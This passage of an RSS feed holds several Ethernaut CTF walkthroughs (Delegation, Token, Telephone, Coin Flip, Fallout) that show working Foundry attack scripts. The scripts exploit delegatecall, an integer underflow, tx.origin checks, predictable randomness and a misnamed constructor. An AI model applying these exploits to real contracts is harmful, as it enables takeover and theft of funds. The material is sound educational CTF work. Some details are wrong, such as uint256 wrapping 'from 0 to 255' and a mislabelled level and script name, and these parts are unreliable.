{<br>        owner = msg.sender;<br>    }<br>}<br><br>contract Delegation {<br>    address public owner;<br>    Delegate delegate;<br><br>    constructor(address _delegateAddress) {<br>        delegate = Delegate(_delegateAddress);<br>        owner = msg.sender;<br>    }<br><br>    fallback() external {<br>        (bool result,) = address(delegate).delegatecall(msg.data);<br>        if (result) {<br>            this;<br>        }<br>    }<br>}</pre><h4>Delegate:</h4><ul><li>owner — public variable which stores the address of the owner.</li><li>constructor() — receives an address as an input argument and sets the owner variable to that address.</li><li>pwn — public function which changes the address of owner to the msg.sender of the this function upon calling it.</li></ul><h4>Delegation:</h4><ul><li>owner — public variable which stores the address of the owner.</li><li>delegate — The instance of the Delegate smart contract, stored in this variable so that it can be used and called within this contract.</li><li>constructor() — receives an address as an input argument, which is the smart contract address of the deployed instance of the Delegate contract. Then, it sets the delegate variable to the correct instance of the Delegate smart contract. Next, it sets the owner variable to the msg.sender — which is the deployer (not us).</li><li>fallback() — makes a delegatecall to the Delegate smart contract, with any arbitrary msg.data that is sent in by the caller interacting with this contract.</li></ul><h3>Vulnerability</h3><p>The vulnerability lies within the use of delegatecall within the Delegation smart contract. The use of this low-level call allows any user interacting with the Delegation contract to interact with and make any function call to the Delegate smart contract. This , on the surface, doesn’t seem like an issue nor an attack vector to gain ownership of the Delegation contract. BUT this is the exact method for our attack strategy — lets dive into the delegatecall functionality to learn more.</p><h4>delegatecall:</h4><ul><li>This low-level call allows for a contract to make a function call to a function that exists within a different smart contract.</li><li>However, the resulting state changes of the function call DO NOT happen within the state of the called smart contract — rather, any state changes are reflected in the smart contract making the delegatecall.</li><li>Any function called and resulting state changes will be executed in the context of the smart contract initially making the delegatecall — this is what makes this low-level call unique.</li><li>So, after running delegatecall from the Delegation smart contract to the Delegate smart contract— any state changes that are made will be reflected in the Delegation contract.</li></ul><h3>Attack Strategy</h3><p>To effectively take ownership of the Delegation smart contract, we will have to change the address stored within the owner variable, to our attacker address. To do this, we will create a new script file DelegationAttack.s.sol which will carry out the attack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.0;<br><br>import {Delegation} from &quot;../src/Delegation.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract DelegationAttack is Script {<br>    Delegation public delegation = Delegation(0x8f9e7879c205765eCa50dc1330a9Fbd3D1B4f54e);<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        address(delegation).call(abi.encodeWithSignature(&quot;pwn()&quot;));<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><ul><li>Set the correct smart contract instance of Delegation using its newly created smart contract address, given to us by Ethernaut.</li><li>We call the Delegation contract, passing in &quot;pwn()&quot; which will be used as the msg.data.</li><li>Calling the Delegation contract will trigger its fallback() function — which will make the delegatecall with the msg.data we passed in.</li><li>This will then call the pwn() function in the Delegate smart contract, which will change the owner variable to our address as we are the msg.sender.</li><li>BUT the owner variable IS NOT changed within the Delegate smart contract, but within the Delegation smart contract.</li><li>We have changed the owner variable within the Delegation smart contract to our address. We are now the owners!!!!</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/DelegationAttack.s.sol --broadcast</pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*9Ms_t2P8fDxvZ1rhQ7KhaA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa6f5cdfc00a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 5: Token]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-5-token-03166a5ef862?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/03166a5ef862</guid>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[ethernaut]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Fri, 18 Oct 2024 01:52:32 GMT</pubDate>
            <atom:updated>2024-10-18T01:52:32.696Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uk3rdYFWmHLeT25qrMRVyg.png" /><figcaption>Ethernaut Challenge 5: Token</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 5: Token</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IkTa0k504hLEU7Y_L0IWdw.png" /><figcaption>Challenge Objective</figcaption></figure><p>We begin the challenge with 20 ERC20 tokens, however, to successfully complete the challenge we will have to find a way to exploit the smart contract to get additional tokens.</p><h3>Smart Contract Overview</h3><p>Token.sol</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.6.0;<br><br>contract Token {<br>    mapping(address =&gt; uint256) balances;<br>    uint256 public totalSupply;<br><br>    constructor(uint256 _initialSupply) public {<br>        balances[msg.sender] = totalSupply = _initialSupply;<br>    }<br><br>    function transfer(address _to, uint256 _value) public returns (bool) {<br>        require(balances[msg.sender] - _value &gt;= 0);<br>        balances[msg.sender] -= _value;<br>        balances[_to] += _value;<br>        return true;<br>    }<br><br>    function balanceOf(address _owner) public view returns (uint256 balance) {<br>        return balances[_owner];<br>    }<br>}</pre><ul><li>constructor takes as an input parameter a uint256 _intitalSupply of tokens that will send the mapping balances to give the address of the deployer the amount of _initialSupply — as well as set the totalSupply to the same value.</li><li>transfer takes an inputs address _to, uint256 _value. _address is the address that will be given the _value amount by updating the balances mapping for their address.</li><li>require Is supposed to be a safeguard, only allowing the function to continue executing its logic by ensuring that the msg.sender has AT LEAST enough balance of tokens to complete the transfer — and will revert if the _value is an amount greater than the balance of tokens that they have.</li><li>Next, the balances mapping is updated by subtracting the _value from the msg.sender and adding it to the _to addresses balance.</li></ul><h3>Vulnerability</h3><p>The vulnerability that is present in the Token smart contract is the very common Arithmetic Underflow. The specific line of code is within the transfer function as shown below:</p><pre>require(balances[msg.sender] - _value &gt;= 0);</pre><p>The reason why the smart contract is susceptible to the Arithemtic Underflow is because the Token contract uses an outdated version of solidity.</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.6.0;</pre><p>All versions of solidity before solidity ^0.8.0 do not have checks that prevent Arithmetic Underflow / Overflows. Solidity versions 0.8.0 and greater come equipped with native Arithmetic Underflow / Overflow prevention. Token does not make use of any math libraries that would prevent this vulnerability, thus it is susceptible to an attack that will exploit this.</p><h4>Arithmetic Underflow</h4><ul><li>If the value goes below 0 and enters negative territory, the value will wrap and instead of going to negative, it will wrap around and go to the largest value that the uint type can hold.</li><li>For example, uint256 will wrap from 0 to 255.</li></ul><h4>Arithmetic Overflow</h4><ul><li>If the value goes above the largest number that the uint type can hold, instead of adding on to the value, it will wrap and go to 0.</li><li>For example, if you add 1 to the type uint256 max’s value — instead of the number getting larger, it will wrap around to 0.</li></ul><p>This vulnerability allows us to exploit this contract by passing in a number that is greater than the balance of msg.sender in the balances mapping, and will allow us to send an extremely large number of tokens to any address we desire.</p><h3>Attack Strategy</h3><p>To successfully complete this challenge we have to create our own script file TelephoneAttack.s.sol, which will contain all of the logic to execute the attack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.6.0;<br><br>import {Token} from &quot;../src/Token.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract TokenAttack is Script {<br>    Token public token = Token(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e);<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        token.transfer(address(this), 21);<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><ul><li>We create a new instance of the Token.sol contract by passing in the newly deployed address of the contract given to us by Ethernaut — and store that contract in the variable token.</li><li>run() will broadcast our transaction to the Sepolia testnet upon running vm.startBroadcast() — which is a Foundry Forge specific command that begins broadcasting to a blockchain using your private key.</li><li>We call the transfer function from the Token.sol contract, and pass in the address of TokenAttack.sol and the value of 21.</li><li>The reason we pass in 21 is because our address has 20 tokens that were given to us at the beginning of the challenge. Passing in 21 as the value will cause the Arithmetic Underflow vulnerability to be exploited as 21 — 20 will not equal -1 — instead it will be the largest value that type uint256 can hold.</li><li>This will effectively transfer to TokenAttack.sol the amount of tokens that will be equal to the largest value of type uint256 (2 ** 256).</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/TokenAttack.s.sol --broadcast</pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*7OjRzLN-yIRL2oft.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03166a5ef862" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 3: Telephone]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-3-telephone-fd029cf7bc93?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd029cf7bc93</guid>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-developers]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[ethernaut]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 18:58:17 GMT</pubDate>
            <atom:updated>2024-10-17T19:00:54.829Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRYlSXnOUy6hjifGA9AU3Q.png" /><figcaption>Ethernaut Challenge 4: Telephone</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 4: Telephone</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUKvGnAftN50gNB8n4p4VA.png" /><figcaption>Challenge Objective</figcaption></figure><p>The primary objective of this challenge is to find a way to change ownership of this contract from the initial deployer of the Telephone contract, to our address. This will need to be achieved by changing the owner variable to our address.</p><h3>Smart Contract Overview</h3><p>Telephone.sol</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Telephone {<br>    address public owner;<br><br>    constructor() {<br>        owner = msg.sender;<br>    }<br><br>    function changeOwner(address _owner) public {<br>        if (tx.origin != msg.sender) {<br>            owner = _owner;<br>        }<br>    }<br>}</pre><ul><li>The owner variable is initially set at the time of deployment, by the constructor function — and will be set to the address of the deployer. The address of the deployer will be the Ethernaut factory contract address.</li><li>changeOwner function is a public function, allowing anyone to call this function and input their own _owner address.</li><li>changeOwner has a check that ensures the owner variable is changed to the _owner input address ONLY if the tx.orgin address is not the same as the msg.sender address.</li><li>tx.origin address is the initially caller of any transaction. It is always an EOA (Externally Owned Account). Even if multiple functions and multiple contracts are subsequently called within the same transaction, the tx.origin will always be the initial EOA caller address that started the sequence of calls.</li><li>msg.sender is the last endpoint of the transaction/function call. It will be the immediate address of the EOA or smart contract that called the function.</li></ul><h3>Attack Strategy</h3><p>To complete this challenge, we have created our own script file TelephoneAttack.s.solwhich will contain two separate contracts: MaliciousSender &amp; TelephoneAttack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.21;<br><br>import {Telephone} from &quot;../src/Telephone.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract MaliciousSender {<br>    constructor(Telephone _telephone, address _maliciousOwner) {<br>        _telephone.changeOwner(_maliciousOwner);<br>    }<br>}<br><br>contract TelephoneAttack is Script {<br>    Telephone public telephone =<br>        Telephone(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e);<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        new MaliciousSender(telephone, vm.envAddress(&quot;MY_ADDRESS&quot;));<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><h4>TelephoneAttack</h4><ul><li>Create a new instance of the Telephone challenge contract by using the specific address of the newly deployed Telephone challenge contract, given to us by Ethernaut.</li><li>Create a new function run() which will start broadcasting our transactions to the Sepolia testnet.</li><li>Deploy the MaliciousSender contract, passing is as arguments: THe newly created instance of Telephone.sol and our metamask wallet address (which is stored in our .env file).</li></ul><h4>MaliciousSender</h4><ul><li>In the constructor, will receive the new instance of the Telephone.sol contract, and our metamask wallet address that will become the new owner of Telephone.sol.</li><li>Call changeOwner function of Telephone.sol and pass in as an argument, our metamask wallet address. This will change the owner to our address because the tx.origin of the function will call will be our metamask wallet address, while the msg.sender will be the address of the MaliciousSender contract.</li></ul><h3>Executing The Attack</h3><p>To execute the attack, run the following command in the terminal:</p><pre>forge script script/TelephoneAttack.s.sol --broadcast</pre><p>CHALLENGE COMPLETED !!!!</p><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*6SREii5uwigT8uGf.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd029cf7bc93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 3: Coin Flip]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-3-coin-flip-3f432053a945?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f432053a945</guid>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 01:42:51 GMT</pubDate>
            <atom:updated>2024-10-05T01:42:51.107Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWKiJdEj4w-0goGfsGan8w.png" /></figure><h3>Ethernaut CTF (w/ Foundry) : Level 3: Coin Flip</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vO2si381vJ0FZFnSpIsFA.png" /></figure><ul><li>To complete this challenge, we will have to win the coin flipping game 10 times in a row, guessing the correct outcome each time.</li></ul><h3>Smart Contract Overview</h3><p>CoinFlip.sol</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract CoinFlip {<br>    uint256 public consecutiveWins;<br>    uint256 lastHash;<br>    uint256 FACTOR =<br>        57896044618658097711785492504343953926634992332820282019728792003956564819968;<br><br>    constructor() {<br>        consecutiveWins = 0;<br>    }<br><br>    function flip(bool _guess) public returns (bool) {<br>        uint256 blockValue = uint256(blockhash(block.number - 1));<br><br>        if (lastHash == blockValue) {<br>            revert();<br>        }<br><br>        lastHash = blockValue;<br>        uint256 coinFlip = blockValue / FACTOR;<br>        bool side = coinFlip == 1 ? true : false;<br><br>        if (side == _guess) {<br>            consecutiveWins++;<br>            return true;<br>        } else {<br>            consecutiveWins = 0;<br>            return false;<br>        }<br>    }<br>}</pre><ul><li>Uses solidity version ^0.8.0 which comes equipped with automatic underflow/overflow protection</li><li>initializes consecutiveWins to 0 in the constructor</li><li>Stores a large number as a constant in FACTOR, to be used in the creation of random numbers for the randomization of the coin flip</li><li>Gets the 2nd part of the random number generation equation blockValue which is derived from the block.number which is a public value that can be seen by anyone (BIG PROBLEM!)</li><li>Ensures that the flip function cannot be called twice within the same block, to protect against manipulation of the game by the player by getting the same random number generated because the random number is derived by the specific block.number — which if flip is called consecutively within the same block, the random number will always be the same and a player can win everytime.</li><li>Determines the value of the coin flip by dividing blockValue / FACTOR</li><li>If the value of the coin flip is 1, the winning guess is true, if it is not 1, the winning guess is false.</li></ul><h3>Attack Strategy</h3><p>To complete this challenge, we have created our own script file CoinFLipAttack.s.solwhich will contain two separate contracts: GuessTheFlip and CoinFlipAttack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.21;<br><br>import {CoinFlip} from &quot;../src/CoinFlip.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br>import {console} from &quot;../lib/forge-std/src/console.sol&quot;;<br><br>contract GuessTheFlip {<br>    uint256 FACTOR =<br>        57896044618658097711785492504343953926634992332820282019728792003956564819968;<br><br>    constructor(CoinFlip coinflip) {<br>        uint256 blockValue = uint256(blockhash(block.number - 1));<br>        uint256 coinFlip = blockValue / FACTOR;<br>        bool side = coinFlip == 1 ? true : false;<br>        coinflip.flip(side);<br>    }<br>}<br><br>contract CoinFlipAttack is Script {<br>    CoinFlip public coinflip =<br>        CoinFlip(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e);<br><br>    function run() public payable {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        new GuessTheFlip(coinflip);<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><h4>GuessTheFlip</h4><ul><li>The purpose of this contract is to integrate the exact same functionality that determines the winning flip value from CoinFlip.sol</li><li>Stores the exact same FACTOR value</li><li>Utilizes the same logic that will determine the random winning flip by running the logic within the same block.number as CoinFlip.sol</li><li>Both contracts GuessTheFlip and CoinFlip.sol will execute within the same block.number because CoinFLip.sol is called to execute it’s flip function within the same transaction as the logic within the constructor of the GuessTheFlip contract.</li><li>Determines the random winning flip value within the constructor at the time of deployment, and it will be the exact same value that CoinFlip.sol will generate. Using this same value, call flip and successfully win the game by guessing the right flip.</li></ul><h4>CoinFlipAttack</h4><ul><li>The purpose of this contract is to use vm.startBroadcast(&quot;private_Key&quot;) to broadcast our attack to the Sepolia blockchain</li><li>After broadcasting, all this contract has to do is deploy a new instance of GuessTheFlip which will run all of the logic for the attack within the constructor at the time of deployment.</li></ul><h3>Executing The Attack</h3><p>To execute the attack, run the following command in the terminal:</p><pre>forge script script/CoinFlipAttack.s.sol --broadcast</pre><p>This script command will have to be ran 10 different times because of the check within the flip function, which ensures the game cannot be played multiple times within the same block.number</p><p>CHALLENGE COMPLETED !!!!</p><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*0ohQYGz_2VPJvLX2.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f432053a945" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 2: Fallout]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-2-fallout-a62adb63ec95?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/a62adb63ec95</guid>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 00:48:07 GMT</pubDate>
            <atom:updated>2024-10-04T00:48:07.690Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vTPRM4hFzU2RfiT-z0JEA.png" /><figcaption>Ethernaut Level 2: Fallout</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 2: Fallout</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, initialized Foundry will create a new project template which will contain multiple folders, each serving a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPKjPxcgQvfGNn0M-CF-yA.png" /><figcaption>Challenge</figcaption></figure><p>In this challenge, the goal is to find a way to claim ownership of the Fallout smart contract and have our metamask wallet address designated as the owner.</p><h3>Smart Contract Overview</h3><p>Fallout.sol</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.6.0;<br><br>import {Math} from &quot;lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/math/Math.sol&quot;<br><br>contract Fallout {<br>    using Math for uint256;<br><br>    mapping(address =&gt; uint256) allocations;<br>    address payable public owner;<br><br>    /* constructor */<br>    function Fal1out() public payable {<br>        owner = msg.sender;<br>        allocations[owner] = msg.value;<br>    }<br><br>    modifier onlyOwner() {<br>        require(msg.sender == owner, &quot;caller is not the owner&quot;);<br>        _;<br>    }<br><br>    function allocate() public payable {<br>        allocations[msg.sender] = allocations[msg.sender].add(msg.value);<br>    }<br><br>    function sendAllocation(address payable allocator) public {<br>        require(allocations[allocator] &gt; 0);<br>        allocator.transfer(allocations[allocator]);<br>    }<br><br>    function collectAllocations() public onlyOwner {<br>        msg.sender.transfer(address(this).balance);<br>    }<br><br>    function allocatorBalance(address allocator) public view returns (uint256) {<br>        return allocations[allocator];<br>    }<br>}</pre><ul><li>owner is set to the address of the deployer (which is the ethernaut deployer) at the time of deployment within the constructor function.</li><li>onlyOwner modifier is used on collectAllocations function to ensure only the owner is able to collect the allocation of funds.</li><li>allocatorBalance returns the value of allocations that belong to any arbitrary address that has previously deposited funds within the allocate function.</li><li>The challenge is that there is no opportunity to change the owner to our address to complete this challenge</li></ul><h3>Attack Strategy</h3><h4>Vulnerability</h4><pre>    /* constructor */<br>    function Fal1out() public payable {<br>        owner = msg.sender;<br>        allocations[owner] = msg.value;<br>    }</pre><ul><li>The vulnerability lies within the misspelling of the function Fal1out which is supposed to serve as the constructor function because this challenge uses an old version of solidity ^0.6.0 (which uses the function with the same name as the contract as the constructor).</li><li>Because the function is misspelled, the constructor never activates and runs upon deployment, leaving the owner function empty and giving us the opportunity to call the function externally and storing our address as the owner.</li></ul><h4>Exploiting The Vulnerability</h4><ul><li>To exploit the vulnerability and complete the attack, all we have to do is call the Fal1out function and we will become the owner.</li><li>To do this, we have to create our own script contract FalloutAttack.s.sol</li></ul><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.21;<br><br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br>import {Fallout} from &quot;../src/Fallout.sol&quot;;<br><br>contract FalloutAttack is Script {<br>    Fallout public fallout =<br>        Fallout(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e);<br><br>    function run() public payable {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        fallout.Fal1out();<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><ul><li>Store the specific instance of the Fallout.sol challenge contract in the variable fallout by using the new given contract address given to us by ethernaut upon getting a new instance.</li><li>Call Fal1out function on Fallout.sol contract — which will make us the new owner.</li></ul><h4>Executing The Attack</h4><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/FallbackAttack.s.sol --broadcast</pre><h4>CHALLENGE COMPLETE!!!!!!</h4><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*X8H2J8Q22lA2ygIZ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a62adb63ec95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 1: Fallback]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-1-fallback-6b3026b513de?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b3026b513de</guid>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethernaut]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Fri, 27 Sep 2024 04:10:27 GMT</pubDate>
            <atom:updated>2024-09-27T04:10:27.546Z</atom:updated>
